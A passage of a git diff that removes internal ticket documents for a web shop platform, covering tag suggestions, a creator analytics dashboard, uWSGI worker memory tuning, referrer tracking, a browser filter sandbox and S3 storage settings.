past the viewport. `.content`'s `overflow-x: clip` then silently
hid the right side of the text instead of wrapping. Fix: `min-width:
0` + `overflow-wrap: break-word` on `.content-card`, `.content-card-
header`, `.content-card-body`, plus `word-break: break-word` on the
inner `<a>`/`<p>` elements so long URLs hyphenate at any character.
- **Price history shown by default.** The price history table
(commit `1e5fe27`, 2026-02-11) was always visible to anyone who
could edit the shop. Operator feedback: "wait for a sale" psychology
hurts conversions; shoppers shouldn't see a timeline of past prices.
Added `Shop.show_price_history` Boolean (default `False`, server-
default `"0"`) with idempotent Alembic migration `c792642911e2`.
Toggle lives in `ribbon-settings` form. View + watch JSON now gate
the `price_history` list on the toggle; template gates rendering
separately as belt-and-suspenders. When off (default), nobody sees
the table — including the operator on their own product page.
Operator can still review history in shop analytics.
### Phase 2.4 — SPA bulk tagger + Netflix-style lanes (shipped 2026-05-15)
Two improvements that compound for the operator workflow:
- **SPA progressive enhancement on `/s/{shop_id}/tags`**. Each form
(create / delete / attach / detach / apply_suggestion /
dismiss_suggestion) still POSTs and 302-redirects without JS, but
with JS, `static/js/tag_bulk.js` intercepts the submit, sends
`X-Requested-With: XMLHttpRequest`, and the server returns JSON
describing what changed. JS mutates the DOM in place — no full
reload while the operator iterates on suggestions, applies a
cluster, deletes a tag they don't like, repeats. Flash messages
render as toasts via the new `.tag-flash` region. Falls back to
full submit if `fetch()` errors.
- **Netflix-style horizontal-scroll lanes**. `.tag-lane-grid` is now
a horizontal-scrolling row of fixed-width tiles
(`grid-auto-flow: column; grid-auto-columns: minmax(160px, 200px);
overflow-x: auto; scroll-snap-type: x mandatory`). Each lane is
visually bounded as a category, tiles snap on swipe, mobile-friendly.
Tiles drop the `.serp` class (the old auto-fit grid layout was
fighting the new horizontal flow) but keep `.serp-item` for hover
styles. Thumbnails: `width: auto; max-width: 100%; max-height:
200px` per CLAUDE.md media-sizing rule.
- **Companion `serp-thumbnail` fix** (commit `e284f88`): `img.serp-thumbnail`
gained `width: auto; max-width: 100%; height: auto`. On
printableprompts the 1080×1080 natural thumbnails were forcing
grid cells wider than the column template, collapsing
`auto-fit, minmax(160px, 1fr)` to a one-column-per-viewport layout.
### Phase 2.3 — multi-bigram supersession + apostrophe labels + top_n 100 (shipped 2026-05-15)
Phase 2.2 surfaced real categories but left residue: `Color` (119),
`Number` (100), `Day` (63), `Room` (36) — all unigrams that are fully
covered by multiple bigrams (e.g. `Day` is covered by `Valentine's Day`
+ `Patrick's Day` + others). And bigram labels like `Valentine Day` /
`Patrick Day` lost their apostrophes — operators read them as
typo-broken. Three fixes:
- **Multi-bigram supersession**: a unigram drops when the *union* of
bigrams containing it covers ≥ 80% of its products. Phase 2.2 only
considered single-bigram coverage; now `Day` drops because the
combined set of `Valentine's Day` ∪ `Patrick's Day` ∪ … covers it.
- **Apostrophe-preserving labels**: tokeniser keeps the possessive /
contraction tail (`valentine's`, `patrick's`); stemmer strips it
*before* matching but the label vote still wins with the readable
surface form. `_MD_PUNCT` no longer kills apostrophes. Stopword
check uses the apostrophe-less base so possessives can't slip in.
- **`top_n` default 50 → 100** for the long tail of niche categories.
Result on a Valentine's/Patrick's-heavy sample: bigrams render as
`Valentine's Day`, `Patrick's Day` (readable possessives), and the
catch-all `Day` unigram disappears because the two bigrams together
cover all its products.
### Phase 2.2 — bigrams + title-required + bigger stopwords (shipped 2026-05-15)
Phase 2.1's `max_share=0.4` filter only caught one of printableprompts'
five generic candidates (`Students` 53%, the others 30–32%). And single
words like `First` (121 products) were collapsing the natural phrase
`First Grade`. Three compounding fixes:
- **Bigrams** in `lib/tag_suggest.py`: adjacent non-stopword tokens
cluster as phrases. `Write the Room` → bigram `write room`,
`First Grade Math` → `first grade`, `Valentine's Day` →
`valentine day`. Bigrams get `BIGRAM_WEIGHT_MULTIPLIER × ` (2×) the
unigram score per product — phrases out-rank single words when both
cluster equally well. URL toggle: `?bigrams=0` to disable.
- **Title-required filter** (`min_title_share`, default `0.3`): a
candidate must appear in the *title* of at least 30% of products
carrying it. Kills description-only marketing noise that doesn't
belong as a category (`versions`, `offered`, `engaged`, `during`,
`these`, `check`, `right`, `well`, `web`, `help`, `build`, `time`).
URL knob: `?min_title=0.5` (stricter), `?min_title=0` (disable).
- **Expanded English stopword list** (~80 → ~200 entries): adds common
filler / generic verbs / marketing fluff / content-medium words like
`see`, `please`, `way`, `well`, `kind`, `type`, `set`, `lot`, `part`,
`time`, `version`, `picture`, `sheet`, `page`, `theme`, `color`,
`draw`, `line`, `cut`, `learn`, `teach`, `offer`, `engage`, `check`,
`build`, `work`, `play`, `help`, `find`, `see`, `look`, `ask`,
`give`, `take`, `tell`, `say` — and their inflections.
Result on a printableprompts-like sample: bigrams `Write Room`,
`Novel Study`, `Valentine Day` rise to the top alongside unigrams
`Math`, `Counting`, `Addition`, `Literacy`. The description-only
noise (`Versions`, `Offered`, `Engaged`, `During`, `These`, `Check`,
`Right`) gets filtered before reaching the operator's screen.
### Phase 2.1 — shop-vocabulary filter + top-N bump (shipped 2026-05-15)
Initial Phase 2 deploy surfaced the wrong candidates on
`shop.printableprompts.com`: `Students`, `Resource`, `Activities`,
`Writing`, `Practice` (each in 30–53% of products). These are *shop
vocabulary* — words that describe the whole shop, not categories
within it. A stem in 53% of products tells a shopper almost nothing
about which subset a product belongs to. Fix:
- **`max_share` filter** in `lib/tag_suggest.py:suggest_clusters` —
default `0.4` drops any stem in more than 40% of products as shop
vocabulary. Returns a `(clusters, filtered_count)` tuple so callers
can show "auto-dropped N common words."
- **`top_n` default 20 → 50** so the long tail of niche categories
surfaces on a 481-product catalog. Backfill CLI default also bumped.
- **URL knobs** on `/s/{shop_id}/tags`: `?max_share=0.3` (stricter),
`?max_share=1` (disable), `?top_n=200` (show more). No DB column —
power users tune in the browser.
- **Template note** under the suggestions well reports how many stems
got filtered as shop vocabulary plus the tuning hints.
- **CLI flag** `--max-share=0.4` on `scripts/backfill_tags.py`.
- Tests: `test_suggest_clusters_filters_shop_vocabulary` +
`test_suggest_clusters_max_share_one_disables_filter`. Existing
`TestTagSuggestPureFunctions` tests pass `max_share=1.0` (their tiny
fixtures would otherwise be penalised for being small).
## Tests (Phase 1)
### Unit (`test_models.py`)
- `Tag` create/slugify/uniqueness-per-shop
- `Product.tags` collection add/remove
- `Shop.home_layout` defaults to `0`; integer round-trip 0/1/2
- `Shop.tags_by_popularity()` returns shop-scoped tag list ordered by count
- Featured product ids JSON parse + roundtrip
### Integration (`test_integration.py`)
- Operator saves tags on product edit → `product_tag` row written; comma split
handles whitespace, dedupes, slugifies
- Bulk tagger add/remove flow
- `home-layout-settings` form_section save persists all four columns
### Functional (`test_functional.py`)
- Shop home with `home_layout=0` renders `.serp` flat grid, no chip strip
- Shop home with `home_layout=1` renders chip strip + filterable grid
- `?tag=<slug>` filters the grid server-side
- Tag detail page renders products with that tag only
- Bulk tagger page loads, POSTs persist
- Mobile chip strip horizontally scrolls (CSS check — render at `<800px`
viewport via testbench)
## Verification
1. `source vars.sh && make test` — all pass
2. Local: `make serve`, create a shop with 10 fake products, opt into
`home_layout=1`, tag products `math` / `seasonal`, verify chip filter works
3. Local: opt out (`home_layout=0`), verify identical to current behavior
4. Push → CI green → Salt highstate → verify on my.makepostsell.com
5. Send shop link to printableprompts operator for feedback; if positive,
plan Phase 2 (auto-tagger) as MPS-25
## Out of scope (genuinely separate tickets later)
- Tag-aware search **ranking** (Phase 1 adds a tag *filter* to `/search`;
tuning rank weights for tag matches vs title matches is its own ticket
once we have shopper data).
- Faceted filtering (price range + tag + type combined) — wait for shopper
signal after Phase 1.
- Cross-shop tag discovery (browse all shops by tag) — privacy question,
defer.
- Tag-based RSS / sitemap segmentation — defer until tags exist for a few
weeks and the segmentation use case is concrete.
- Tag tree / nested categories — explicitly not in scope, see decision #9.
## References
- `shop.printableprompts.com` crawled 2026-05-15 via sitemap (481 products,
obvious natural categories surfaced from titles)
- `views/shop.py:212` (`home`), `:226` (`shop`), `:275` (`search`)
- `models/product.py:730` (`get_products_from_a_shop`), `:740`
(`get_products_by_keywords`)
- `templates/home.j2` (current flat grid)
- CLAUDE.md "Feature Kill Switches" pattern (MPS-22) — model for shop toggle
- CLAUDE.md "Capability-Driven Presentation" — tag detail page works without JS

195
docs/tickets/mps-3.md
View file

@ -1,195 +0,0 @@
# MPS-3: Creator Analytics Dashboard
## Problem
MPS-2 collects anonymous signals and derives Engagement, Attention, Learning,
and Passive Consumption scores. Creators need somewhere to see this data and
act on it — know which content pulls people in, which holds them, and where
traffic comes from so they know where to spend time and energy.
## Solution
Add a server-rendered analytics page at `/s/{shop_id}/analytics`. No JS graph
libraries — CSS grid tables, server-computed aggregates, progressive
enhancement. Machine learning can refine the derived scores later without
changing the page structure.
## Access
- Route: `GET /s/{shop_id}/analytics`
- Requires `shop_editor_required` (same as shop settings)
- Link from shop settings page (near existing nav)
## Page Sections
### 1. Overview Strip (shop-wide, last 7 days)
A single row of key numbers at the top:
| Metric | Query |
|--------|-------|
| Total views | `COUNT(*) WHERE visible_ms >= 7000 AND created_timestamp > 7d ago` |
| Unique products viewed | `COUNT(DISTINCT product_id) WHERE visible_ms >= 7000` |
| Avg session duration | `AVG(wall_clock_ms)` |
| Avg ring depth | `AVG(ring_position) WHERE ring_position IS NOT NULL` |
| Top traffic source | `MODE(referrer_class)` (show label: direct/search/social/internal) |
| Device split | `% per device_class` shown as "42% mobile · 7% tablet · 51% desktop" |
### 2. Top Products by Views (last 7 / 14 / 21 days)
Ranked table, top 21 products:
| # | Title | Views (7d) | Views (14d) | Views (21d) | Trend |
|---|-------|-----------|------------|------------|-------|
"Trend" = simple arrow: views(7d) > views(14d)/2 → rising, else falling.
Each title links to the product page.
Query: `GROUP BY product_id`, `COUNT(*) WHERE visible_ms >= 7000`, partitioned
by time windows using `created_timestamp`.
### 3. Ring Entry Points (top 7 front doors)
Which products do people land on first?
| # | Title | Ring Entries (21d) | % of All Entries |
|---|-------|--------------------|-----------------|
Query: `COUNT(*) WHERE is_ring_entry = true GROUP BY product_id ORDER BY
count DESC LIMIT 7`.
This tells the creator: "People find your shop through these 7 products — make
sure they're polished."
### 4. Engagement & Attention Leaders (top 7 each)
Two side-by-side tables:
**Engagement Leaders** (highest lean-in):
| # | Title | Avg Engagement | Sessions |
|---|-------|---------------|----------|
`engagement = active_ms / wall_clock_ms` — computed per session, averaged per
product. Only include sessions with `wall_clock_ms >= 7000` (real visits).
**Attention Holders** (highest focused presence):
| # | Title | Avg Attention | Sessions |
|---|-------|--------------|----------|
`attention = visible_ms / wall_clock_ms` — same filtering.
### 5. Study Material vs Background Favorites (top 7 each)
Two side-by-side tables:
**Study Material** (people rewind, slow down, re-read):
| # | Title | Learning Score | Sessions |
|---|-------|---------------|----------|
Learning score per session = count of true indicators:
- `media_seek_back_count > 0`
- `media_speed < 1.0` (and not NULL)
- `scroll_direction_changes > 3`
- `media_pause_count > 2`
- `active_ms / wall_clock_ms > 0.7`
Average per product, ranked. Minimum 7 sessions to qualify.
**Background Favorites** (lean-back plays):
| # | Title | Passive Score | Sessions |
|---|-------|--------------|----------|
Passive score per session = count of true indicators:
- `visible_ms / wall_clock_ms > 0.7`
- `active_ms / wall_clock_ms < 0.3`
- `media_percent_played > 0.69`
- `media_play_count = 1`
- `media_pause_count = 0`
Average per product, ranked. Minimum 7 sessions to qualify.
### 6. Traffic Sources (last 21 days)
Simple breakdown table:
| Source | Sessions | % |
|--------|----------|---|
| Direct | 142 | 42% |
| Search | 69 | 21% |
| Social | 47 | 14% |
| Internal | 70 | 21% |
| Unknown | 7 | 2% |
Query: `COUNT(*) GROUP BY referrer_class`.
### 7. Device Split (last 21 days)
| Device | Sessions | % |
|--------|----------|---|
| Mobile | 210 | 42% |
| Tablet | 42 | 8% |
| Desktop | 252 | 50% |
Query: `COUNT(*) GROUP BY device_class`.
## Query Strategy
All queries run against `mps_page_session` with time filters using
`created_timestamp`. Since timestamps are milliseconds:
```python
cutoff_7d = now_timestamp() - (7 * 24 * 60 * 60 * 1000)
cutoff_14d = now_timestamp() - (14 * 24 * 60 * 60 * 1000)
cutoff_21d = now_timestamp() - (21 * 24 * 60 * 60 * 1000)
```
For the engagement/attention/learning/passive scores, compute per-session in
the SQL query using CASE expressions, then AVG per product. SQLite handles
this fine for shops with < 100K sessions.
For larger shops (future), the 90-day retention + daily rollup from MPS-2
provides pre-aggregated data.
## Template Layout
CSS grid, two-column on desktop, single-column on mobile. No flexbox per
project rules.
```
[Overview Strip — full width]
[Top Products — full width]
[Ring Entry Points — full width]
[Engagement Leaders | Attention Holders — side by side]
[Study Material | Background Favorites — side by side]
[Traffic Sources | Device Split — side by side]
```
Tables use `<table>` with `class="analytics-table"`. No zebra striping —
keep it clean. Product titles are links. Numbers right-aligned.
## Privacy Note
Displayed in a small footer on the page:
> All data is anonymous. No individual viewer can be identified. Counts
> represent aggregate sessions, not people.
## Files Changed
| File | Change |
|------|--------|
| `views/shop.py` | New `analytics` view with aggregate queries |
| `routes.py` | New route `shop_analytics` |
| `templates/analytics.j2` | New template with 7 sections |
| `static/css/common.css` | `.analytics-table`, `.analytics-overview` styles |
| `templates/shop_settings.j2` | Link to analytics page |
| `tests/test_functional.py` | Analytics page access + permission tests |
| `tests/test_models.py` | Score computation unit tests |
## Depends On
MPS-2 (signal gathering + `mps_page_session` table + `view_count` column)

115
docs/tickets/mps-4.md
View file

@ -1,115 +0,0 @@
# MPS-4: Eliminate intermittent 502s from uWSGI worker recycling
## Problem
Visitors intermittently see 502 Bad Gateway errors that resolve on refresh.
Root cause: uWSGI workers hit the `--reload-on-rss 256` memory limit every
4-5 minutes under normal watch mode traffic, triggering a kill+respawn cycle.
With only 2 workers (`--processes=2`), when both recycle near-simultaneously
Caddy's `reverse_proxy` gets no available backend and returns 502.
### Evidence (2026-02-11 ~09:15-09:22 UTC)
**Worker memory growth** (from `ps aux`):
- Worker 882747 (spawned 09:18): 242MB RSS after 4 minutes
- Worker 882737 (spawned 09:17): 188MB RSS after 5 minutes
- Both approaching the 256MB kill threshold simultaneously
**Worker recycling frequency** (from `journalctl`):
```
09:15:24 - worker 2 (882687) "Seeya!" → killed → Respawned as 882699
09:15:29 - worker 1 (882640) "Seeya!" → killed → Respawned as 882708
09:15:39 - worker 2 (882699) "Seeya!" → killed → Respawned as 882717
09:17:36 - worker 2 (882717) "Seeya!" → killed → Respawned as 882737
09:18:22 - worker 1 (882708) "Seeya!" → killed → Respawned as 882747
```
Workers survive only ~15 seconds to ~3 minutes under load before hitting
the RSS limit. The 09:15:24 and 09:15:29 kills are only 5 seconds apart —
both workers recycling nearly simultaneously.
**Cold start penalty**: First request after respawn takes 400-600ms
(vs normal 100-130ms) while the app re-initializes:
- 882699 first request: 413ms
- 882717 first request: 409ms
- 882747 first request: 533ms
**System resources**: 4GB total RAM, 1.9GB swap used — memory pressure.
### Current uWSGI config
```
--reload-on-rss 256
--processes=2
--threads 8
--max-requests 10000
--http=127.0.0.1:6001
```
## Solution
Tune uWSGI config to prevent simultaneous worker unavailability:
### 1. Raise RSS limit
Raise `--reload-on-rss` from 256 to 512. Workers currently grow to 242MB
in 4 minutes — 256 is too aggressive and causes constant churn. At 512MB
with 2 workers, worst case is ~1GB for workers, still well within the 4GB
system budget (Caddy + master + crypto_watcher use ~300MB combined).
### 2. Add `--reload-on-rss-stagger`
If available in the installed uWSGI version, or use `--max-requests` with
variance (`--max-requests-delta`) to prevent both workers from recycling at
the same instant. Set `--max-requests-delta 1000` to add randomness
(each worker gets max-requests ± 1000).
### 3. Use lazy-apps mode
Add `--lazy-apps` so each worker loads the application independently after
fork. This costs a bit more memory but means the master doesn't need to
re-fork the full app — workers initialize in parallel and the surviving
worker keeps serving while the new one starts.
### 4. Add `--harakiri` timeout
Add `--harakiri 30` as a safety net — if any request takes >30 seconds
(stuck DB query, deadlock), kill that worker instead of blocking a slot
forever.
### Proposed new config
```
--reload-on-rss 512
--processes=2
--threads 8
--max-requests 10000
--max-requests-delta 2000
--harakiri 30
--die-on-term
--http=127.0.0.1:6001
--lazy-apps
```
## Testing
1. Apply config change on prod (`systemctl edit --full my.makepostsell.com`)
2. `systemctl restart my.makepostsell.com`
3. Monitor with: `watch -n 5 'ps -o pid,rss,vsz,etimes,cmd -p $(pgrep -f "uwsgi.*make_post")'`
4. Verify no 502s during a full watch mode auto-play cycle
5. Monitor swap usage — if swap grows past 2.5GB, back off to 384MB limit
## Risk
Low. Config-only change, easily reversible with a service restart.
The service unit is managed by salt (`/home/fox/foxhop-pillar/caddy/makepostsell.sls`)
so the salt pillar should be updated after validating the new values.
## Depends On
Nothing. Can be applied immediately.
## Blocks
MPS-5 (memory investigation — the RSS tuning buys time but doesn't fix the
underlying memory growth).

126
docs/tickets/mps-5.md
View file

@ -1,126 +0,0 @@
# MPS-5: Investigate and fix uWSGI worker memory growth
## Problem
uWSGI workers grow from ~83MB (post-fork baseline) to 256MB+ in 4-5 minutes
under normal watch mode traffic. This is ~40MB/minute of RSS growth, which
is excessive for a Python/Pyramid WSGI application serving 40-80KB HTML/JSON
responses.
The rapid growth forces aggressive worker recycling (MPS-4), which causes
intermittent 502s. MPS-4 raises the RSS threshold as a band-aid, but this
ticket addresses the root cause.
### Observed memory timeline
```
Worker 882747 (spawned 09:18):
- Baseline after fork: ~83MB (from master RSS)
- After 4 minutes: 242MB (6.0% of 4GB)
- Growth rate: ~40MB/min
```
### Potential causes
1. **Jinja2 template caching**: Each rendered template (62-81KB output) may
accumulate compiled template objects. With 8 threads per worker, concurrent
renders could multiply this.
2. **SQLAlchemy session accumulation**: If sessions aren't properly closed
after each request, objects pile up in the identity map. The
`lazy="dynamic"` relationships (e.g., `shop.products`) return query objects
that may hold references.
3. **Response body retention**: uWSGI with `--http` mode may buffer response
bodies in worker memory. The 40-80KB HTML pages add up across threads.
4. **Watch mode JSON responses**: The `/watch/{id}/json` endpoint generates
41-51KB JSON responses. Under auto-play, a single visitor generates one of
these every 3-7 seconds. If these response strings linger in memory (Python
string interning, GC generation 2), they accumulate.
5. **Thread-local accumulation**: With 8 threads, any per-thread leak is
multiplied 8x. Thread-local storage, logging buffers, or connection pools
that grow per-thread.
## Investigation Plan
### Step 1: Add memory logging
Add a tween or middleware that logs RSS after every Nth request:
```python
import resource
def memory_tween_factory(handler, registry):
counter = [0]
def memory_tween(request):
response = handler(request)
counter[0] += 1
if counter[0] % 100 == 0:
rss_mb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / 1024
log.warning("RSS after %d requests: %dMB [%s]",
counter[0], rss_mb, request.path)
return response
return memory_tween
```
This tells us which request patterns correlate with memory spikes.
### Step 2: Profile with tracemalloc
On a dev instance, enable `tracemalloc` and compare snapshots:
```python
import tracemalloc
tracemalloc.start()
# ... after N requests ...
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')
for stat in top_stats[:20]:
print(stat)
```
### Step 3: Check SQLAlchemy session cleanup
Verify that `pyramid_tm` is properly closing sessions after each request.
Check if `DBSession.remove()` is called in an `after_request` hook. If using
scoped sessions with threads, each thread needs its own session lifecycle.
### Step 4: Test with `--threads 1`
Temporarily run with `--threads 1 --processes 4` instead of `--threads 8
--processes 2`. If memory growth rate drops proportionally, the leak is
per-thread. If it stays the same per-worker, it's in shared state.
### Step 5: Test without watch mode traffic
Hit only static-ish pages (shop landing, product pages) without the SPA
watch mode auto-play. If memory growth slows dramatically, the leak is
specific to the `/watch/{id}/json` or `/signals/beacon` endpoints.
## Solution
Depends on investigation results. Likely fixes:
- **If SQLAlchemy sessions**: Ensure `pyramid_tm` transaction manager commits
and closes properly per-request. Add explicit `DBSession.remove()` in a
response callback.
- **If Jinja2 templates**: Set `jinja2.cache_size` to a bounded value
(default is 400, may be unbounded).
- **If response bodies**: Consider adding `--http-keepalive` or switching
from `--http` to `--http-socket` with Caddy using uwsgi protocol.
- **If thread-local**: Restructure to fewer threads, more processes.
## Files Likely Changed
| File | Change |
|------|--------|
| `__init__.py` or `tweens.py` | Memory logging tween |
| `production.ini` | Jinja2 cache_size if needed |
| systemd service | Thread/process ratio tuning |
## Depends On
MPS-4 (apply the RSS band-aid first to reduce 502 frequency while
investigating).

111
docs/tickets/mps-6.md
View file

@ -1,111 +0,0 @@
# MPS-6: Referrer Analytics — Domain, Query, and Trend Lines
## Problem
MPS-2 stored only a numeric `referrer_class` (0-4) on each page session. This
tells the creator "42% of traffic is from search" but not *which* search engine,
*which* social platform, or *what keywords* people searched. Creators need
actionable referrer intelligence to know where to spend their marketing energy.
The analytics dashboard also lacked trend visualization — all metrics were
point-in-time tables with no temporal context.
## Solution
### 1. Store referrer domain and search query
Add two columns to `mps_page_session`:
| Column | Type | Example |
|--------|------|---------|
| `referrer_domain` | `Unicode(128)` | `"www.google.com"`, `"twitter.com"` |
| `referrer_query` | `Unicode(256)` | `"lo-fi beats to study to"` |
These are populated by refactoring `classify_referrer()` from returning a single
integer to returning a `(class, domain, query)` tuple. The domain is extracted
from the Referer header URL. The query is parsed from search engine URL
parameters (`q=` for Google/DuckDuckGo/Bing, `p=` for Yahoo).
Privacy: the full Referer URL is never stored. Only the domain and the search
query parameter (if present) are kept. Social and unknown referrers store domain
only.
### 2. Add SVG line chart trend visualization
Server-rendered inline SVG polyline charts for temporal trends. No JavaScript
graph libraries — the charts are computed server-side and rendered as a Jinja2
macro (`line_chart`) that produces `<svg>` elements with `<polyline>` paths.
Five trend lines added to both shop-level and per-product analytics:
| Chart | Y-axis | Color |
|-------|--------|-------|
| Session duration | Avg `wall_clock_ms` (daily) | Blue |
| Engagement | Avg `active_ms / wall_clock_ms` (daily) | Green |
| Bounce rate | % sessions with `visible_ms < 7s` (daily) | Red |
| External referrers | Daily count of non-direct, non-internal sessions | Orange |
Each chart spans 28 days with one data point per day. Zero-days are filled so
the polyline is continuous.
### 3. Add keyword and referrer domain tables
Two new analytics sections:
**Top Referrer Domains** — ranked table of external domains driving traffic,
with session count and percentage bar. Excludes direct and internal traffic.
**Top Search Queries** — ranked table of search engine queries that led to the
shop, extracted from `referrer_query`. Also includes internal shop search
keywords from `mps_shop_search_request`.
### 4. Bucketing functions
Six new query functions in `analytics.py`:
- `_daily_buckets()` — daily view counts (bar chart)
- `_daily_avg_duration()` — daily avg session duration
- `_daily_engagement()` — daily avg engagement ratio
- `_daily_bounce_rate()` — daily bounce rate
- `_daily_referrer_counts()` — daily external referrer sessions
- `_top_referrer_domains()` — top N referrer domains
- `_top_referrer_queries()` — top N search engine queries
- `_top_search_keywords()` — top N internal search keywords
## classify_referrer() Refactor
Before (MPS-2):
```python
def classify_referrer(referrer, request_host):
"""Return 0-4 integer class."""
return 1 # search
```
After (MPS-6):
```python
def classify_referrer(referrer, request_host):
"""Return (class, domain, query) tuple."""
return (1, "www.google.com", "lo-fi beats")
```
Search engine query extraction:
- Google/Bing/DuckDuckGo: `?q=` parameter
- Yahoo: `?p=` parameter
- Other search engines: `?q=` fallback
## Files Changed
| File | Change |
|------|--------|
| `models/page_session.py` | Add `referrer_domain`, `referrer_query` columns |
| `views/signals.py` | Refactor `classify_referrer()` to return tuple; store domain + query |
| `views/analytics.py` | 8 new bucketing/query functions; pass trend data to templates |
| `templates/analytics.j2` | SVG `line_chart` macro; referrer domain table; keyword table |
| `templates/analytics_product.j2` | SVG `line_chart` macro; referrer domain table |
| `scripts/alembic/versions/f3086e09b052_*.py` | Migration: add `referrer_domain`, `referrer_query` |
| `tests/test_models.py` | 12 tests for `classify_referrer()` tuple return |
| `tests/test_functional.py` | Referrer trend chart rendering tests |
## Depends On
MPS-3 (analytics dashboard infrastructure)

63
docs/tickets/mps-7.md
View file

@ -1,63 +0,0 @@
# MPS-7: Sandbox Mode — Client-Side Creative Filter System
## Problem
Creators want visitors to interact with their media beyond passive viewing.
Existing tools require downloading, editing in external software, and
re-uploading. The friction kills experimentation. Creators need an in-browser
creative toolkit that lets visitors play with filters, export artifacts, and
optionally upload results — all without leaving the shop.
## Solution
A client-side filter engine that runs entirely in the browser. The server stores
a single boolean (`shop.sandbox_mode`). When enabled, every page in the shop
renders a floating toolbar with 32 filter presets, 7 adjustment sliders, SVG
filter effects, canvas export (image + video), and optional face detection via
MediaPipe.
Full architecture and filter reference: [docs/sandbox-mode.md](../sandbox-mode.md)
### Server-side (minimal)
- `sandbox_mode` Boolean column on Shop model
- Toggle in ribbon-settings form section (same form as announcement ribbon,
default theme, grid lanes, show_dates, watch_mode, color_filter)
- `base.j2` conditionally renders toolbar HTML, inline SVG filter definitions,
and loads `sandbox.js` only when `shop.sandbox_mode` is true
- Watch mode SPA integration: `watch.js` calls `window.sandboxReapply()` after
DOM swap to re-apply filters to newly loaded media
### Client-side (sandbox.js, ~700 lines)
- 32 CSS filter presets (4 basic, 4 warm, 4 cool, 4 dramatic, 5 color, 7
Instagram-style, 4 SVG)
- 7 adjustment sliders (brightness, contrast, saturation, hue, blur, sepia,
grayscale)
- Image export via canvas `toBlob()` (requires CORS from CDN)
- Video export via `MediaRecorder` + `captureStream(30fps)`
- Face detection via MediaPipe Face Mesh (4MB WASM, on-demand load)
- localStorage persistence of preset, slider values, panel state
- Upload-to-bucket via presigned POST (see MPS-8)
## Files Changed
| File | Change |
|------|--------|
| `models/shop.py` | `sandbox_mode` Boolean column |
| `views/shop.py` | Toggle handler in `ribbon-settings` form section |
| `templates/shop_settings.j2` | Enable/disable radio buttons |
| `templates/base.j2` | Conditional toolbar HTML + inline SVG defs |
| `static/js/sandbox.js` | Client-side filter engine (IIFE) |
| `static/js/watch.js` | `sandboxReapply()` hook in `updatePageContent()` |
| `static/css/common.css` | Toolbar layout (CSS Grid), mobile responsive |
| `scripts/alembic/versions/a2c13d3117f2_*.py` | Migration: `sandbox_mode` |
| `tests/test_functional.py` | Sandbox toggle, toolbar rendering, script tag tests |
## Depends On
Nothing. Independent feature.
## Blocks
MPS-8 (user S3 bucket for artifact upload)

92
docs/tickets/mps-8.md
View file

@ -1,92 +0,0 @@
# MPS-8: User S3 Bucket + Artifact Storage
## Problem
Sandbox mode (MPS-7) lets visitors export filtered images and videos, but
exports download to the user's local device. Creators want a way to
automatically upload sandbox artifacts to their own cloud storage — a personal
S3 bucket where filtered content accumulates without manual file management.
## Solution
### User-level S3 credentials
Add S3-compatible storage credentials to the User model (not Shop — a user may
own multiple shops but uses one storage bucket):
| Column | Type | Example |
|--------|------|---------|
| `s3_endpoint` | `Unicode(256)` | `"https://nyc3.digitaloceanspaces.com"` |
| `s3_region` | `Unicode(64)` | `"nyc3"` |
| `s3_bucket` | `Unicode(128)` | `"my-sandbox-exports"` |
| `s3_access_key` | `Unicode(128)` | `"DO00..."` |
| `s3_secret_key` | `Unicode(128)` | `"wJalr..."` |
Property `has_s3_bucket` returns True when endpoint, bucket, access_key, and
secret_key are all non-empty.
### Storage settings form
New section on user settings page (`/u/settings`) with an "Artifact Storage"
form that POSTs to `/u/settings/storage`. Fields: endpoint URL, region
(optional), bucket name, access key, secret key (password field).
### Presigned upload endpoint
`POST /u/sandbox/upload` — accepts `filename` and `content_type` parameters,
generates a presigned POST using the user's stored S3 credentials. Returns
`{presigned: {url, fields}, key}`. The browser uploads the blob directly to the
user's bucket — the file never touches the MPS server.
S3 key format: `sandbox/{user_id}/{timestamp}-{filename}`
Upload limit: 50MB per file (enforced via presigned POST conditions).
### Toolbar integration
When a user has `has_s3_bucket = True`, the sandbox toolbar in `base.j2`
renders with `data-has-bucket="1"`. The `sandbox.js` upload-to-bucket button
appears only when this attribute is present. The upload flow:
1. User exports image/video (canvas toBlob)
2. User clicks "Upload to Bucket"
3. JS POSTs to `/u/sandbox/upload` with filename + content_type
4. Server returns presigned POST URL + fields
5. JS uploads blob directly to user's S3 bucket via FormData POST
### Supported services
Any S3-compatible endpoint: DigitalOcean Spaces, AWS S3, MinIO, Backblaze B2,
Cloudflare R2.
### Security
Credentials stored as plain Unicode columns (same pattern as Stripe/PayPal/Adyen
keys on Shop model). Secret key field uses `type="password"` in the form.
Credentials are only used server-side to generate presigned URLs — they are
never exposed to the browser.
## Shop-Level S3 Mirror (MPS-9)
A separate but related feature: shops can configure their own S3 bucket as a
**mirror** of the MPS main bucket. Every file uploaded to a shop (product files,
thumbnails, shop assets) is automatically copied to the shop's mirror bucket in
a background thread. See [MPS-9](mps-9.md).
## Files Changed
| File | Change |
|------|--------|
| `models/user.py` | S3 credential columns + `has_s3_bucket` property |
| `views/user.py` | Storage settings POST handler + S3 fields in settings dict |
| `views/user_sandbox.py` | Presigned upload endpoint |
| `templates/user_settings.j2` | Artifact Storage form |
| `templates/base.j2` | `data-has-bucket` attribute on sandbox toolbar |
| `static/js/sandbox.js` | Upload-to-bucket button + presigned POST flow |
| `routes.py` | `user_storage_settings`, `user_sandbox_upload` routes |
| `scripts/alembic/versions/f898ba460612_*.py` | Migration: user S3 columns |
| `tests/test_functional.py` | S3 bucket save/clear, presigned upload, toolbar attribute tests |
## Depends On
MPS-7 (sandbox mode — toolbar must exist to add upload button)

92
docs/tickets/mps-9.md
View file

@ -1,92 +0,0 @@
# MPS-9: Shop S3 Mirror Bucket
## Problem
Creators want a copy of all their shop files in their own S3 bucket — for
backup, CDN flexibility, or migration away from MPS. Currently all files live
exclusively in the MPS DigitalOcean Spaces bucket.
## Solution
### Shop-level mirror credentials
Add S3-compatible mirror credentials to the Shop model:
| Column | Type | Example |
|--------|------|---------|
| `mirror_s3_endpoint` | `Unicode(256)` | `"https://nyc3.digitaloceanspaces.com"` |
| `mirror_s3_region` | `Unicode(64)` | `"nyc3"` |
| `mirror_s3_bucket` | `Unicode(128)` | `"my-shop-mirror"` |
| `mirror_s3_access_key` | `Unicode(128)` | `"DO00..."` |
| `mirror_s3_secret_key` | `Unicode(128)` | `"wJalr..."` |
